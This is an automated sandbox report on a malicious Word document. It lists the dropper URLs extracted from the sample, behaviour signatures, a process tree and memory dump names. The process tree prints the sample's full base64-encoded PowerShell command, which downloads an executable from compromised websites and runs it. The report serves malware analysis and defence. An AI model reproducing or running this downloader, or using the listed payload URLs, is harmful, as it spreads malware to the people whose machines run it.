Analysis
- max time kernel
136s - max time network
125s - platform
windows10-2004_x64 - resource
win10v2004-20240419-en - resource tags
- submitted
03/05/2024, 16:41
General
- Target 10f6218b10fb0324e67fbe6f43fc703c_JaffaCakes118.doc
- Size 275KB
- Sample240503-t68mhaeb37
- SHA256 4c8c254a985b48dd350a48233cb4c4b5b0c0348da8bdb14a3c85a6d2fa1ed6cd
Malware Config
Extracted
-
ps1
-
exe.dropper
http://erakonlaw.com/wp-content/QimayJuMY/
-
exe.dropper
http://careerplussatna.com/wp-admin/YnKccnhZK/
-
exe.dropper
http://rameshzawar.com/3ljj6/wQstveMAGm/
-
exe.dropper
http://planetlancer.com/h8rge/kim66_aeqna80-2085/
-
exe.dropper
http://pradopro.ru/wp-content/abpiVEof/
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Blocklisted process makes network request 1 IoCs
- Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Suspicious behavior: AddClipboardFormatListener 2 IoCs
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of SetWindowsHookEx 8 IoCs
- Suspicious use of WriteProcessMemory 2 IoCs
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\10f6218b10fb0324e67fbe6f43fc703c_JaffaCakes118.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\splwow64.exeC:\Windows\splwow64.exe 122882⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -enco PAAjACAAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AbQBpAGMAcgBvAHMAbwBmAHQALgBjAG8AbQAvACAAIwA+ACAAJABjADcAOABjADIAOQA3ADcAYwB4ADMAMAA9ACcAeAA4ADIAMAAwADQANAA1ADQANwAxADEANwAnADsAJABjADkAOQAwAGMAOQAwADkAMgA1ADkANwAgAD0AIAAnADMAMgAwACcAOwAkAGMANgA1ADEAOQA5ADQANQA0ADAAMAA9ACcAYwA2ADIANQBjADkANwBjADAAMABjAGIAJwA7ACQAeAA3ADgAYwB4ADkANQAyAGIAOAA4AD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABjADkAOQAwAGMAOQAwADkAMgA1ADkANwArACcALgBlAHgAZQAnADsAJAB4ADAAeABjADIAMAB4AGIAMAAzAHgAPQAnAHgAMAA1AHgANAAxADAAOQBiADAAOQAnADsAJABjADEAMwA0ADUANAB4ADgAYwB4AHgANAAzAD0ALgAoACcAbgBlAHcAJwArACcALQBvAGIAagBlACcAKwAnAGMAdAAnACkAIABuAEUAVAAuAHcARQBiAGMAbABpAEUATgB0ADsAJABiADAAMABjADYAYwAxADgANwA5ADkANgA9ACcAaAB0AHQAcAA6AC8ALwBlAHIAYQBrAG8AbgBsAGEAdwAuAGMAbwBtAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAFEAaQBtAGEAeQBKAHUATQBZAC8AQABoAHQAdABwADoALwAvAGMAYQByAGUAZQByAHAAbAB1AHMAcwBhAHQAbgBhAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBZAG4ASwBjAGMAbgBoAFoASwAvAEAAaAB0AHQAcAA6AC8ALwByAGEAbQBlAHMAaAB6AGEAdwBhAHIALgBjAG8AbQAvADMAbABqAGoANgAvAHcAUQBzAHQAdgBlAE0AQQBHAG0ALwBAAGgAdAB0AHAAOgAvAC8AcABsAGEAbgBlAHQAbABhAG4AYwBlAHIALgBjAG8AbQAvAGgAOAByAGcAZQAvAGsAaQBtADYANgBfAGEAZQBxAG4AYQA4ADAALQAyADAAOAA1AC8AQABoAHQAdABwADoALwAvAHAAcgBhAGQAbwBwAHIAbwAuAHIAdQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwBhAGIAcABpAFYARQBvAGYALwAnAC4AIgBzAFAAYABMAGkAdAAiACgAJwBAACcAKQA7ACQAeAAwAGMAOQAzAGIAMwA2ADQANgAzADcAPQAnAGIAOAA5ADAANABiADQAMwAyADMAMAA5ACcAOwBmAG8AcgBlAGEAYwBoACgAJAB4ADMAOQAwADcAMgAwAGIAYwBjADYAMwAwACAAaQBuACAAJABiADAAMABjADYAYwAxADgANwA5ADkANgApAHsAdAByAHkAewAkAGMAMQAzADQANQA0AHgAOABjAHgAeAA0ADMALgAiAEQAYABvAFcAbgBsAE8AYQBkAEYAYABJAGwARQAiACgAJAB4ADMAOQAwADcAMgAwAGIAYwBjADYAMwAwACwAIAAkAHgANwA4AGMAeAA5ADUAMgBiADgAOAApADsAJABiADAAMAAyADAAOAA4AGIAMABiAHgAMAA9ACcAYwAzAGIANAA5ADAANAB4ADQAeAAzADMAYwAnADsASQBmACAAKAAoAC4AKAAnAEcAZQB0AC0ASQB0ACcAKwAnAGUAbQAnACkAIAAkAHgANwA4AGMAeAA5ADUAMgBiADgAOAApAC4AIgBsAGUAYABOAEcAdABIACIAIAAtAGcAZQAgADMANgAzADMAMgApACAAewBbAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAIgBTAFQAYQBgAFIAdAAiACgAJAB4ADcAOABjAHgAOQA1ADIAYgA4ADgAKQA7ACQAYwA3ADEAMAB4ADUANgB4ADAAeAA5ADQAOQA9ACcAYgAzADgANgAwADEAMwB4AHgAeAA1ADYAMAAnADsAYgByAGUAYQBrADsAJABiADAANQBjAGIANAA5ADAAOQAzADAAYgA9ACcAeAB4ADMAOQBiADAAMAA2ADIAOAA3ADcAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAYwA3ADAANgBiADQANwAwADAANwA2AD0AJwBiADAAYwBjAGMAMAA0ADAAeABjADAAMAAxACcA1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
67D2204A.wmf
sist02.xsl
__PSScriptPolicyTest_aag2c2dy.ywd.ps1
memory/1120-14-0x00007FFDAA890000-0x00007FFDAAA85000-memory.dmp
memory/1120-18-0x00007FFDAA890000-0x00007FFDAAA85000-memory.dmp
memory/1120-5-0x00007FFD6A910000-0x00007FFD6A920000-memory.dmp
memory/1120-7-0x00007FFDAA890000-0x00007FFDAAA85000-memory.dmp
memory/1120-6-0x00007FFDAA890000-0x00007FFDAAA85000-memory.dmp
memory/1120-8-0x00007FFDAA890000-0x00007FFDAAA85000-memory.dmp
memory/1120-9-0x00007FFDAA890000-0x00007FFDAAA85000-memory.dmp
memory/1120-10-0x00007FFD68140000-0x00007FFD68150000-memory.dmp
memory/1120-11-0x00007FFDAA890000-0x00007FFDAAA85000-memory.dmp
memory/1120-12-0x00007FFDAA890000-0x00007FFDAAA85000-memory.dmp
memory/1120-15-0x00007FFD68140000-0x00007FFD68150000-memory.dmp
memory/1120-2-0x00007FFD6A910000-0x00007FFD6A920000-memory.dmp
memory/1120-16-0x00007FFDAA890000-0x00007FFDAAA85000-memory.dmp
memory/1120-4-0x00007FFD6A910000-0x00007FFD6A920000-memory.dmp
memory/1120-17-0x00007FFDAA890000-0x00007FFDAAA85000-memory.dmp
memory/1120-13-0x00007FFDAA890000-0x00007FFDAAA85000-memory.dmp
memory/1120-3-0x00007FFDAA92D000-0x00007FFDAA92E000-memory.dmp
memory/1120-0-0x00007FFD6A910000-0x00007FFD6A920000-memory.dmp
memory/1120-637-0x00007FFDAA890000-0x00007FFDAAA85000-memory.dmp
memory/1120-1-0x00007FFD6A910000-0x00007FFD6A920000-memory.dmp
memory/1120-598-0x00007FFDAA890000-0x00007FFDAAA85000-memory.dmp
memory/1120-636-0x00007FFD6A910000-0x00007FFD6A920000-memory.dmp
memory/1120-635-0x00007FFD6A910000-0x00007FFD6A920000-memory.dmp
memory/1120-634-0x00007FFD6A910000-0x00007FFD6A920000-memory.dmp
memory/1120-633-0x00007FFD6A910000-0x00007FFD6A920000-memory.dmp
memory/3076-82-0x0000020E28D90000-0x0000020E28DB2000-memory.dmp